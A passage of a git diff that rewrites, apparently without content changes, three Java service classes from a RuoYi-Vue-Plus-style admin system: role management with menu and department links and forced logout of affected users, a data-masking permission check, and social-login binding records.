@param bo 角色信息 - * @return 结果 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public int insertRole(SysRoleBo bo) { - SysRole role = MapstructUtils.convert(bo, SysRole.class); - // 新增角色信息 - baseMapper.insert(role); - bo.setRoleId(role.getRoleId()); - return insertRoleMenu(bo); - } - - /** - * 修改保存角色信息 - * - * @param bo 角色信息 - * @return 结果 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public int updateRole(SysRoleBo bo) { - SysRole role = MapstructUtils.convert(bo, SysRole.class); - - if (SystemConstants.DISABLE.equals(role.getStatus()) && this.countUserRoleByRoleId(role.getRoleId()) > 0) { - throw new ServiceException("角色已分配,不能禁用!"); - } - // 修改角色信息 - baseMapper.updateById(role); - // 删除角色与菜单关联 - roleMenuMapper.delete(new LambdaQueryWrapper().eq(SysRoleMenu::getRoleId, role.getRoleId())); - return insertRoleMenu(bo); - } - - /** - * 修改角色状态 - * - * @param roleId 角色ID - * @param status 角色状态 - * @return 结果 - */ - @Override - public int updateRoleStatus(Long roleId, String status) { - if (SystemConstants.DISABLE.equals(status) && this.countUserRoleByRoleId(roleId) > 0) { - throw new ServiceException("角色已分配,不能禁用!"); - } - return baseMapper.update(null, - new LambdaUpdateWrapper() - .set(SysRole::getStatus, status) - .eq(SysRole::getRoleId, roleId)); - } - - /** - * 修改数据权限信息 - * - * @param bo 角色信息 - * @return 结果 - */ - @CacheEvict(cacheNames = CacheNames.SYS_ROLE_CUSTOM, key = "#bo.roleId") - @Override - @Transactional(rollbackFor = Exception.class) - public int authDataScope(SysRoleBo bo) { - SysRole role = MapstructUtils.convert(bo, SysRole.class); - // 修改角色信息 - baseMapper.updateById(role); - // 删除角色与部门关联 - roleDeptMapper.delete(new LambdaQueryWrapper().eq(SysRoleDept::getRoleId, role.getRoleId())); - // 新增角色和部门信息(数据权限) - return insertRoleDept(bo); - } - - /** - * 新增角色菜单信息 - * - * @param role 角色对象 - */ - private int insertRoleMenu(SysRoleBo role) { - int rows = 1; - // 新增用户与角色管理 - List list = new ArrayList(); - for (Long menuId : role.getMenuIds()) { - SysRoleMenu rm = new SysRoleMenu(); - rm.setRoleId(role.getRoleId()); - rm.setMenuId(menuId); - list.add(rm); - } - if (list.size() > 0) { - rows = roleMenuMapper.insertBatch(list) ? list.size() : 0; - } - return rows; - } - - /** - * 新增角色部门信息(数据权限) - * - * @param role 角色对象 - */ - private int insertRoleDept(SysRoleBo role) { - int rows = 1; - // 新增角色与部门(数据权限)管理 - List list = new ArrayList(); - for (Long deptId : role.getDeptIds()) { - SysRoleDept rd = new SysRoleDept(); - rd.setRoleId(role.getRoleId()); - rd.setDeptId(deptId); - list.add(rd); - } - if (list.size() > 0) { - rows = roleDeptMapper.insertBatch(list) ? list.size() : 0; - } - return rows; - } - - /** - * 通过角色ID删除角色 - * - * @param roleId 角色ID - * @return 结果 - */ - @CacheEvict(cacheNames = CacheNames.SYS_ROLE_CUSTOM, key = "#roleId") - @Override - @Transactional(rollbackFor = Exception.class) - public int deleteRoleById(Long roleId) { - // 删除角色与菜单关联 - roleMenuMapper.delete(new LambdaQueryWrapper().eq(SysRoleMenu::getRoleId, roleId)); - // 删除角色与部门关联 - roleDeptMapper.delete(new LambdaQueryWrapper().eq(SysRoleDept::getRoleId, roleId)); - return baseMapper.deleteById(roleId); - } - - /** - * 批量删除角色信息 - * - * @param roleIds 需要删除的角色ID - * @return 结果 - */ - @CacheEvict(cacheNames = CacheNames.SYS_ROLE_CUSTOM, allEntries = true) - @Override - @Transactional(rollbackFor = Exception.class) - public int deleteRoleByIds(Long[] roleIds) { - for (Long roleId : roleIds) { - SysRole role = baseMapper.selectById(roleId); - checkRoleAllowed(BeanUtil.toBean(role, SysRoleBo.class)); - checkRoleDataScope(roleId); - if (countUserRoleByRoleId(roleId) > 0) { - throw new ServiceException(String.format("%1$s已分配,不能删除!", role.getRoleName())); - } - } - List ids = Arrays.asList(roleIds); - // 删除角色与菜单关联 - roleMenuMapper.delete(new LambdaQueryWrapper().in(SysRoleMenu::getRoleId, ids)); - // 删除角色与部门关联 - roleDeptMapper.delete(new LambdaQueryWrapper().in(SysRoleDept::getRoleId, ids)); - return baseMapper.deleteByIds(ids); - } - - /** - * 取消授权用户角色 - * - * @param userRole 用户和角色关联信息 - * @return 结果 - */ - @Override - public int deleteAuthUser(SysUserRole userRole) { - int rows = userRoleMapper.delete(new LambdaQueryWrapper() - .eq(SysUserRole::getRoleId, userRole.getRoleId()) - .eq(SysUserRole::getUserId, userRole.getUserId())); - if (rows > 0) { - cleanOnlineUser(List.of(userRole.getUserId())); - } - return rows; - } - - /** - * 批量取消授权用户角色 - * - * @param roleId 角色ID - * @param userIds 需要取消授权的用户数据ID - * @return 结果 - */ - @Override - public int deleteAuthUsers(Long roleId, Long[] userIds) { - List ids = List.of(userIds); - int rows = userRoleMapper.delete(new LambdaQueryWrapper() - .eq(SysUserRole::getRoleId, roleId) - .in(SysUserRole::getUserId, ids)); - if (rows > 0) { - cleanOnlineUser(ids); - } - return rows; - } - - /** - * 批量选择授权用户角色 - * - * @param roleId 角色ID - * @param userIds 需要授权的用户数据ID - * @return 结果 - */ - @Override - public int insertAuthUsers(Long roleId, Long[] userIds) { - // 新增用户与角色管理 - int rows = 1; - List ids = List.of(userIds); - List list = StreamUtils.toList(ids, userId -> { - SysUserRole ur = new SysUserRole(); - ur.setUserId(userId); - ur.setRoleId(roleId); - return ur; - }); - if (CollUtil.isNotEmpty(list)) { - rows = userRoleMapper.insertBatch(list) ? list.size() : 0; - } - if (rows > 0) { - cleanOnlineUser(ids); - } - return rows; - } - - @Override - public void cleanOnlineUserByRole(Long roleId) { - // 如果角色未绑定用户 直接返回 - Long num = userRoleMapper.selectCount(new LambdaQueryWrapper().eq(SysUserRole::getRoleId, roleId)); - if (num == 0) { - return; - } - List keys = StpUtil.searchTokenValue("", 0, -1, false); - if (CollUtil.isEmpty(keys)) { - return; - } - // 角色关联的在线用户量过大会导致redis阻塞卡顿 谨慎操作 - keys.parallelStream().forEach(key -> { - String token = StringUtils.substringAfterLast(key, ":"); - // 如果已经过期则跳过 - if (StpUtil.stpLogic.getTokenActiveTimeoutByToken(token) < -1) { - return; - } - LoginUser loginUser = LoginHelper.getLoginUser(token); - if (ObjectUtil.isNull(loginUser) || CollUtil.isEmpty(loginUser.getRoles())) { - return; - } - if (loginUser.getRoles().stream().anyMatch(r -> r.getRoleId().equals(roleId))) { - try { - StpUtil.logoutByTokenValue(token); - } catch (NotLoginException ignored) { - } - } - }); - } - - @Override - public void cleanOnlineUser(List userIds) { - List keys = StpUtil.searchTokenValue("", 0, -1, false); - if (CollUtil.isEmpty(keys)) { - return; - } - // 角色关联的在线用户量过大会导致redis阻塞卡顿 谨慎操作 - keys.parallelStream().forEach(key -> { - String token = StringUtils.substringAfterLast(key, ":"); - // 如果已经过期则跳过 - if (StpUtil.stpLogic.getTokenActiveTimeoutByToken(token) < -1) { - return; - } - LoginUser loginUser = LoginHelper.getLoginUser(token); - if (ObjectUtil.isNull(loginUser)) { - return; - } - if (userIds.contains(loginUser.getUserId())) { - try { - StpUtil.logoutByTokenValue(token); - } catch (NotLoginException ignored) { - } - } - }); - } - - /** - * @return - */ - @Override - public List getRoleList() { - return baseMapper.selectVoList(new LambdaQueryWrapper().eq(SysRole::getStatus, "0").ne(SysRole::getRoleId, 1)); - } -} +package org.dromara.system.service.impl; + +import cn.dev33.satoken.exception.NotLoginException; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.bean.BeanUtil; +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.CacheNames; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.constant.TenantConstants; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.SysRole; +import org.dromara.system.domain.SysRoleDept; +import org.dromara.system.domain.SysRoleMenu; +import org.dromara.system.domain.SysUserRole; +import org.dromara.system.domain.bo.SysRoleBo; +import org.dromara.system.domain.vo.SysRoleVo; +import org.dromara.system.mapper.SysRoleDeptMapper; +import org.dromara.system.mapper.SysRoleMapper; +import org.dromara.system.mapper.SysRoleMenuMapper; +import org.dromara.system.mapper.SysUserRoleMapper; +import org.dromara.system.service.ISysRoleService; +import org.springframework.cache.annotation.CacheEvict; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.util.*; + +/** + * 角色 业务层处理 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@Service +public class SysRoleServiceImpl implements ISysRoleService { + + private final SysRoleMapper baseMapper; + private final SysRoleMenuMapper roleMenuMapper; + private final SysUserRoleMapper userRoleMapper; + private final SysRoleDeptMapper roleDeptMapper; + + @Override + public TableDataInfo selectPageRoleList(SysRoleBo role, PageQuery pageQuery) { + Page page = baseMapper.selectPageRoleList(pageQuery.build(), this.buildQueryWrapper(role)); + return TableDataInfo.build(page); + } + + /** + * 根据条件分页查询角色数据 + * + * @param role 角色信息 + * @return 角色数据集合信息 + */ + @Override + public List selectRoleList(SysRoleBo role) { + return baseMapper.selectRoleList(this.buildQueryWrapper(role)); + } + + private Wrapper buildQueryWrapper(SysRoleBo bo) { + Map params = bo.getParams(); + QueryWrapper wrapper = Wrappers.query(); + wrapper.eq("r.del_flag", SystemConstants.NORMAL) + .eq(ObjectUtil.isNotNull(bo.getRoleId()), "r.role_id", bo.getRoleId()) + .like(StringUtils.isNotBlank(bo.getRoleName()), "r.role_name", bo.getRoleName()) + .eq(StringUtils.isNotBlank(bo.getStatus()), "r.status", bo.getStatus()) + .like(StringUtils.isNotBlank(bo.getRoleKey()), "r.role_key", bo.getRoleKey()) + .between(params.get("beginTime") != null && params.get("endTime") != null, + "r.create_time", params.get("beginTime"), params.get("endTime")) + .orderByAsc("r.role_sort").orderByAsc("r.create_time"); + return wrapper; + } + + /** + * 根据用户ID查询角色 + * + * @param userId 用户ID + * @return 角色列表 + */ + @Override + public List selectRolesByUserId(Long userId) { + return baseMapper.selectRolesByUserId(userId); + } + + /** + * 根据用户ID查询角色列表(包含被授权状态) + * + * @param userId 用户ID + * @return 角色列表 + */ + @Override + public List selectRolesAuthByUserId(Long userId) { + List userRoles = baseMapper.selectRolesByUserId(userId); + List roles = selectRoleAll(); + // 使用HashSet提高查找效率 + Set userRoleIds = StreamUtils.toSet(userRoles, SysRoleVo::getRoleId); + for (SysRoleVo role : roles) { + if (userRoleIds.contains(role.getRoleId())) { + role.setFlag(true); + } + } + return roles; + } + + /** + * 根据用户ID查询权限 + * + * @param userId 用户ID + * @return 权限列表 + */ + @Override + public Set selectRolePermissionByUserId(Long userId) { + List perms = baseMapper.selectRolesByUserId(userId); + Set permsSet = new HashSet<>(); + for (SysRoleVo perm : perms) { + if (ObjectUtil.isNotNull(perm)) { + permsSet.addAll(StringUtils.splitList(perm.getRoleKey().trim())); + } + } + return permsSet; + } + + /** + * 查询所有角色 + * + * @return 角色列表 + */ + @Override + public List selectRoleAll() { + return this.selectRoleList(new SysRoleBo()); + } + + /** + * 根据用户ID获取角色选择框列表 + * + * @param userId 用户ID + * @return 选中角色ID列表 + */ + @Override + public List selectRoleListByUserId(Long userId) { + List list = baseMapper.selectRolesByUserId(userId); + return StreamUtils.toList(list, SysRoleVo::getRoleId); + } + + /** + * 通过角色ID查询角色 + * + * @param roleId 角色ID + * @return 角色对象信息 + */ + @Override + public SysRoleVo selectRoleById(Long roleId) { + return baseMapper.selectRoleById(roleId); + } + + /** + * 通过角色ID串查询角色 + * + * @param roleIds 角色ID串 + * @return 角色列表信息 + */ + @Override + public List selectRoleByIds(List roleIds) { + return baseMapper.selectRoleList(new QueryWrapper() + .eq("r.status", SystemConstants.NORMAL) + .in(CollUtil.isNotEmpty(roleIds), "r.role_id", roleIds)); + } + + /** + * 校验角色名称是否唯一 + * + * @param role 角色信息 + * @return 结果 + */ + @Override + public boolean checkRoleNameUnique(SysRoleBo role) { + boolean exist = baseMapper.exists(new LambdaQueryWrapper() + .eq(SysRole::getRoleName, role.getRoleName()) + .ne(ObjectUtil.isNotNull(role.getRoleId()), SysRole::getRoleId, role.getRoleId())); + return !exist; + } + + /** + * 校验角色权限是否唯一 + * + * @param role 角色信息 + * @return 结果 + */ + @Override + public boolean checkRoleKeyUnique(SysRoleBo role) { + boolean exist = baseMapper.exists(new LambdaQueryWrapper() + .eq(SysRole::getRoleKey, role.getRoleKey()) + .ne(ObjectUtil.isNotNull(role.getRoleId()), SysRole::getRoleId, role.getRoleId())); + return !exist; + } + + /** + * 校验角色是否允许操作 + * + * @param role 角色信息 + */ + @Override + public void checkRoleAllowed(SysRoleBo role) { + if (ObjectUtil.isNotNull(role.getRoleId()) && LoginHelper.isSuperAdmin(role.getRoleId())) { + throw new ServiceException("不允许操作超级管理员角色"); + } + String[] keys = new String[]{TenantConstants.SUPER_ADMIN_ROLE_KEY, TenantConstants.TENANT_ADMIN_ROLE_KEY}; + // 新增不允许使用 管理员标识符 + if (ObjectUtil.isNull(role.getRoleId()) + && StringUtils.equalsAny(role.getRoleKey(), keys)) { + throw new ServiceException("不允许使用系统内置管理员角色标识符!"); + } + // 修改不允许修改 管理员标识符 + if (ObjectUtil.isNotNull(role.getRoleId())) { + SysRole sysRole = baseMapper.selectById(role.getRoleId()); + // 如果标识符不相等 判断为修改了管理员标识符 + if (!StringUtils.equals(sysRole.getRoleKey(), role.getRoleKey())) { + if (StringUtils.equalsAny(sysRole.getRoleKey(), keys)) { + throw new ServiceException("不允许修改系统内置管理员角色标识符!"); + } else if (StringUtils.equalsAny(role.getRoleKey(), keys)) { + throw new ServiceException("不允许使用系统内置管理员角色标识符!"); + } + } + } + } + + /** + * 校验角色是否有数据权限 + * + * @param roleId 角色id + */ + @Override + public void checkRoleDataScope(Long roleId) { + if (ObjectUtil.isNull(roleId)) { + return; + } + if (LoginHelper.isSuperAdmin()) { + return; + } + List roles = this.selectRoleList(new SysRoleBo(roleId)); + if (CollUtil.isEmpty(roles)) { + throw new ServiceException("没有权限访问角色数据!"); + } + + } + + /** + * 通过角色ID查询角色使用数量 + * + * @param roleId 角色ID + * @return 结果 + */ + @Override + public long countUserRoleByRoleId(Long roleId) { + return userRoleMapper.selectCount(new LambdaQueryWrapper().eq(SysUserRole::getRoleId, roleId)); + } + + /** + * 新增保存角色信息 + * + * @param bo 角色信息 + * @return 结果 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int insertRole(SysRoleBo bo) { + SysRole role = MapstructUtils.convert(bo, SysRole.class); + // 新增角色信息 + baseMapper.insert(role); + bo.setRoleId(role.getRoleId()); + return insertRoleMenu(bo); + } + + /** + * 修改保存角色信息 + * + * @param bo 角色信息 + * @return 结果 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int updateRole(SysRoleBo bo) { + SysRole role = MapstructUtils.convert(bo, SysRole.class); + + if (SystemConstants.DISABLE.equals(role.getStatus()) && this.countUserRoleByRoleId(role.getRoleId()) > 0) { + throw new ServiceException("角色已分配,不能禁用!"); + } + // 修改角色信息 + baseMapper.updateById(role); + // 删除角色与菜单关联 + roleMenuMapper.delete(new LambdaQueryWrapper().eq(SysRoleMenu::getRoleId, role.getRoleId())); + return insertRoleMenu(bo); + } + + /** + * 修改角色状态 + * + * @param roleId 角色ID + * @param status 角色状态 + * @return 结果 + */ + @Override + public int updateRoleStatus(Long roleId, String status) { + if (SystemConstants.DISABLE.equals(status) && this.countUserRoleByRoleId(roleId) > 0) { + throw new ServiceException("角色已分配,不能禁用!"); + } + return baseMapper.update(null, + new LambdaUpdateWrapper() + .set(SysRole::getStatus, status) + .eq(SysRole::getRoleId, roleId)); + } + + /** + * 修改数据权限信息 + * + * @param bo 角色信息 + * @return 结果 + */ + @CacheEvict(cacheNames = CacheNames.SYS_ROLE_CUSTOM, key = "#bo.roleId") + @Override + @Transactional(rollbackFor = Exception.class) + public int authDataScope(SysRoleBo bo) { + SysRole role = MapstructUtils.convert(bo, SysRole.class); + // 修改角色信息 + baseMapper.updateById(role); + // 删除角色与部门关联 + roleDeptMapper.delete(new LambdaQueryWrapper().eq(SysRoleDept::getRoleId, role.getRoleId())); + // 新增角色和部门信息(数据权限) + return insertRoleDept(bo); + } + + /** + * 新增角色菜单信息 + * + * @param role 角色对象 + */ + private int insertRoleMenu(SysRoleBo role) { + int rows = 1; + // 新增用户与角色管理 + List list = new ArrayList(); + for (Long menuId : role.getMenuIds()) { + SysRoleMenu rm = new SysRoleMenu(); + rm.setRoleId(role.getRoleId()); + rm.setMenuId(menuId); + list.add(rm); + } + if (list.size() > 0) { + rows = roleMenuMapper.insertBatch(list) ? list.size() : 0; + } + return rows; + } + + /** + * 新增角色部门信息(数据权限) + * + * @param role 角色对象 + */ + private int insertRoleDept(SysRoleBo role) { + int rows = 1; + // 新增角色与部门(数据权限)管理 + List list = new ArrayList(); + for (Long deptId : role.getDeptIds()) { + SysRoleDept rd = new SysRoleDept(); + rd.setRoleId(role.getRoleId()); + rd.setDeptId(deptId); + list.add(rd); + } + if (list.size() > 0) { + rows = roleDeptMapper.insertBatch(list) ? list.size() : 0; + } + return rows; + } + + /** + * 通过角色ID删除角色 + * + * @param roleId 角色ID + * @return 结果 + */ + @CacheEvict(cacheNames = CacheNames.SYS_ROLE_CUSTOM, key = "#roleId") + @Override + @Transactional(rollbackFor = Exception.class) + public int deleteRoleById(Long roleId) { + // 删除角色与菜单关联 + roleMenuMapper.delete(new LambdaQueryWrapper().eq(SysRoleMenu::getRoleId, roleId)); + // 删除角色与部门关联 + roleDeptMapper.delete(new LambdaQueryWrapper().eq(SysRoleDept::getRoleId, roleId)); + return baseMapper.deleteById(roleId); + } + + /** + * 批量删除角色信息 + * + * @param roleIds 需要删除的角色ID + * @return 结果 + */ + @CacheEvict(cacheNames = CacheNames.SYS_ROLE_CUSTOM, allEntries = true) + @Override + @Transactional(rollbackFor = Exception.class) + public int deleteRoleByIds(Long[] roleIds) { + for (Long roleId : roleIds) { + SysRole role = baseMapper.selectById(roleId); + checkRoleAllowed(BeanUtil.toBean(role, SysRoleBo.class)); + checkRoleDataScope(roleId); + if (countUserRoleByRoleId(roleId) > 0) { + throw new ServiceException(String.format("%1$s已分配,不能删除!", role.getRoleName())); + } + } + List ids = Arrays.asList(roleIds); + // 删除角色与菜单关联 + roleMenuMapper.delete(new LambdaQueryWrapper().in(SysRoleMenu::getRoleId, ids)); + // 删除角色与部门关联 + roleDeptMapper.delete(new LambdaQueryWrapper().in(SysRoleDept::getRoleId, ids)); + return baseMapper.deleteByIds(ids); + } + + /** + * 取消授权用户角色 + * + * @param userRole 用户和角色关联信息 + * @return 结果 + */ + @Override + public int deleteAuthUser(SysUserRole userRole) { + int rows = userRoleMapper.delete(new LambdaQueryWrapper() + .eq(SysUserRole::getRoleId, userRole.getRoleId()) + .eq(SysUserRole::getUserId, userRole.getUserId())); + if (rows > 0) { + cleanOnlineUser(List.of(userRole.getUserId())); + } + return rows; + } + + /** + * 批量取消授权用户角色 + * + * @param roleId 角色ID + * @param userIds 需要取消授权的用户数据ID + * @return 结果 + */ + @Override + public int deleteAuthUsers(Long roleId, Long[] userIds) { + List ids = List.of(userIds); + int rows = userRoleMapper.delete(new LambdaQueryWrapper() + .eq(SysUserRole::getRoleId, roleId) + .in(SysUserRole::getUserId, ids)); + if (rows > 0) { + cleanOnlineUser(ids); + } + return rows; + } + + /** + * 批量选择授权用户角色 + * + * @param roleId 角色ID + * @param userIds 需要授权的用户数据ID + * @return 结果 + */ + @Override + public int insertAuthUsers(Long roleId, Long[] userIds) { + // 新增用户与角色管理 + int rows = 1; + List ids = List.of(userIds); + List list = StreamUtils.toList(ids, userId -> { + SysUserRole ur = new SysUserRole(); + ur.setUserId(userId); + ur.setRoleId(roleId); + return ur; + }); + if (CollUtil.isNotEmpty(list)) { + rows = userRoleMapper.insertBatch(list) ? list.size() : 0; + } + if (rows > 0) { + cleanOnlineUser(ids); + } + return rows; + } + + @Override + public void cleanOnlineUserByRole(Long roleId) { + // 如果角色未绑定用户 直接返回 + Long num = userRoleMapper.selectCount(new LambdaQueryWrapper().eq(SysUserRole::getRoleId, roleId)); + if (num == 0) { + return; + } + List keys = StpUtil.searchTokenValue("", 0, -1, false); + if (CollUtil.isEmpty(keys)) { + return; + } + // 角色关联的在线用户量过大会导致redis阻塞卡顿 谨慎操作 + keys.parallelStream().forEach(key -> { + String token = StringUtils.substringAfterLast(key, ":"); + // 如果已经过期则跳过 + if (StpUtil.stpLogic.getTokenActiveTimeoutByToken(token) < -1) { + return; + } + LoginUser loginUser = LoginHelper.getLoginUser(token); + if (ObjectUtil.isNull(loginUser) || CollUtil.isEmpty(loginUser.getRoles())) { + return; + } + if (loginUser.getRoles().stream().anyMatch(r -> r.getRoleId().equals(roleId))) { + try { + StpUtil.logoutByTokenValue(token); + } catch (NotLoginException ignored) { + } + } + }); + } + + @Override + public void cleanOnlineUser(List userIds) { + List keys = StpUtil.searchTokenValue("", 0, -1, false); + if (CollUtil.isEmpty(keys)) { + return; + } + // 角色关联的在线用户量过大会导致redis阻塞卡顿 谨慎操作 + keys.parallelStream().forEach(key -> { + String token = StringUtils.substringAfterLast(key, ":"); + // 如果已经过期则跳过 + if (StpUtil.stpLogic.getTokenActiveTimeoutByToken(token) < -1) { + return; + } + LoginUser loginUser = LoginHelper.getLoginUser(token); + if (ObjectUtil.isNull(loginUser)) { + return; + } + if (userIds.contains(loginUser.getUserId())) { + try { + StpUtil.logoutByTokenValue(token); + } catch (NotLoginException ignored) { + } + } + }); + } + + /** + * @return + */ + @Override + public List getRoleList() { + return baseMapper.selectVoList(new LambdaQueryWrapper().eq(SysRole::getStatus, "0").ne(SysRole::getRoleId, 1)); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysSensitiveServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysSensitiveServiceImpl.java index 8a0d45e..2092690 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysSensitiveServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysSensitiveServiceImpl.java @@ -1,47 +1,47 @@ -package org.dromara.system.service.impl; - -import cn.dev33.satoken.stp.StpUtil; -import cn.hutool.core.util.ArrayUtil; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.sensitive.core.SensitiveService; -import org.dromara.common.tenant.helper.TenantHelper; -import org.springframework.stereotype.Service; - -/** - * 脱敏服务 - * 默认管理员不过滤 - * 需自行根据业务重写实现 - * - * @author Lion Li - * @version 3.6.0 - */ -@Service -public class SysSensitiveServiceImpl implements SensitiveService { - - /** - * 是否脱敏 - */ - @Override - public boolean isSensitive(String[] roleKey, String[] perms) { - if (!LoginHelper.isLogin()) { - return true; - } - boolean roleExist = ArrayUtil.isNotEmpty(roleKey); - boolean permsExist = ArrayUtil.isNotEmpty(perms); - if (roleExist && permsExist) { - if (StpUtil.hasRoleOr(roleKey) && StpUtil.hasPermissionOr(perms)) { - return false; - } - } else if (roleExist && StpUtil.hasRoleOr(roleKey)) { - return false; - } else if (permsExist && StpUtil.hasPermissionOr(perms)) { - return false; - } - - if (TenantHelper.isEnable()) { - return !LoginHelper.isSuperAdmin() && !LoginHelper.isTenantAdmin(); - } - return !LoginHelper.isSuperAdmin(); - } - -} +package org.dromara.system.service.impl; + +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.util.ArrayUtil; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.sensitive.core.SensitiveService; +import org.dromara.common.tenant.helper.TenantHelper; +import org.springframework.stereotype.Service; + +/** + * 脱敏服务 + * 默认管理员不过滤 + * 需自行根据业务重写实现 + * + * @author Lion Li + * @version 3.6.0 + */ +@Service +public class SysSensitiveServiceImpl implements SensitiveService { + + /** + * 是否脱敏 + */ + @Override + public boolean isSensitive(String[] roleKey, String[] perms) { + if (!LoginHelper.isLogin()) { + return true; + } + boolean roleExist = ArrayUtil.isNotEmpty(roleKey); + boolean permsExist = ArrayUtil.isNotEmpty(perms); + if (roleExist && permsExist) { + if (StpUtil.hasRoleOr(roleKey) && StpUtil.hasPermissionOr(perms)) { + return false; + } + } else if (roleExist && StpUtil.hasRoleOr(roleKey)) { + return false; + } else if (permsExist && StpUtil.hasPermissionOr(perms)) { + return false; + } + + if (TenantHelper.isEnable()) { + return !LoginHelper.isSuperAdmin() && !LoginHelper.isTenantAdmin(); + } + return !LoginHelper.isSuperAdmin(); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysSocialServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysSocialServiceImpl.java index 9c54cbc..d3bd4b1 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysSocialServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysSocialServiceImpl.java @@ -1,112 +1,112 @@ -package org.dromara.system.service.impl; - -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.system.domain.SysSocial; -import org.dromara.system.domain.bo.SysSocialBo; -import org.dromara.system.domain.vo.SysSocialVo; -import org.dromara.system.mapper.SysSocialMapper; -import org.dromara.system.service.ISysSocialService; -import org.springframework.stereotype.Service; - -import java.util.List; - -/** - * 社会化关系Service业务层处理 - * - * @author thiszhc - * @date 2023-06-12 - */ -@RequiredArgsConstructor -@Service -public class SysSocialServiceImpl implements ISysSocialService { - - private final SysSocialMapper baseMapper; - - - /** - * 查询社会化关系 - */ - @Override - public SysSocialVo queryById(String id) { - return baseMapper.selectVoById(id); - } - - /** - * 授权列表 - */ - @Override - public List queryList(SysSocialBo bo) { - LambdaQueryWrapper lqw = new LambdaQueryWrapper() - .eq(ObjectUtil.isNotNull(bo.getUserId()), SysSocial::getUserId, bo.getUserId()) - .eq(StringUtils.isNotBlank(bo.getAuthId()), SysSocial::getAuthId, bo.getAuthId()) - .eq(StringUtils.isNotBlank(bo.getSource()), SysSocial::getSource, bo.getSource()); - return baseMapper.selectVoList(lqw); - } - - @Override - public List queryListByUserId(Long userId) { - return baseMapper.selectVoList(new LambdaQueryWrapper().eq(SysSocial::getUserId, userId)); - } - - - /** - * 新增社会化关系 - */ - @Override - public Boolean insertByBo(SysSocialBo bo) { - SysSocial add = MapstructUtils.convert(bo, SysSocial.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - if (add != null) { - bo.setId(add.getId()); - } else { - return false; - } - } - return flag; - } - - /** - * 更新社会化关系 - */ - @Override - public Boolean updateByBo(SysSocialBo bo) { - SysSocial update = MapstructUtils.convert(bo, SysSocial.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(SysSocial entity) { - //TODO 做一些数据校验,如唯一约束 - } - - - /** - * 删除社会化关系 - */ - @Override - public Boolean deleteWithValidById(Long id) { - return baseMapper.deleteById(id) > 0; - } - - - /** - * 根据 authId 查询用户信息 - * - * @param authId 认证id - * @return 授权信息 - */ - @Override - public List selectByAuthId(String authId) { - return baseMapper.selectVoList(new LambdaQueryWrapper().eq(SysSocial::getAuthId, authId)); - } - -} +package org.dromara.system.service.impl; + +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.system.domain.SysSocial; +import org.dromara.system.domain.bo.SysSocialBo; +import org.dromara.system.domain.vo.SysSocialVo; +import org.dromara.system.mapper.SysSocialMapper; +import org.dromara.system.service.ISysSocialService; +import org.springframework.stereotype.Service; + +import java.util.List; + +/** + * 社会化关系Service业务层处理 + * + * @author thiszhc + * @date 2023-06-12 + */ +@RequiredArgsConstructor +@Service +public class SysSocialServiceImpl implements ISysSocialService { + + private final SysSocialMapper baseMapper; + + + /** + * 查询社会化关系 + */ + @Override + public SysSocialVo queryById(String id) { + return baseMapper.selectVoById(id); + } + + /** + * 授权列表 + */ + @Override + public List queryList(SysSocialBo bo) { + LambdaQueryWrapper lqw = new LambdaQueryWrapper() + .eq(ObjectUtil.isNotNull(bo.getUserId()), SysSocial::getUserId, bo.getUserId()) + .eq(StringUtils.isNotBlank(bo.getAuthId()), SysSocial::getAuthId, bo.getAuthId()) + .eq(StringUtils.isNotBlank(bo.getSource()), SysSocial::getSource, bo.getSource()); + return baseMapper.selectVoList(lqw); + } + + @Override + public List queryListByUserId(Long userId) { + return baseMapper.selectVoList(new LambdaQueryWrapper().eq(SysSocial::getUserId, userId)); + } + + + /** + * 新增社会化关系 + */ + 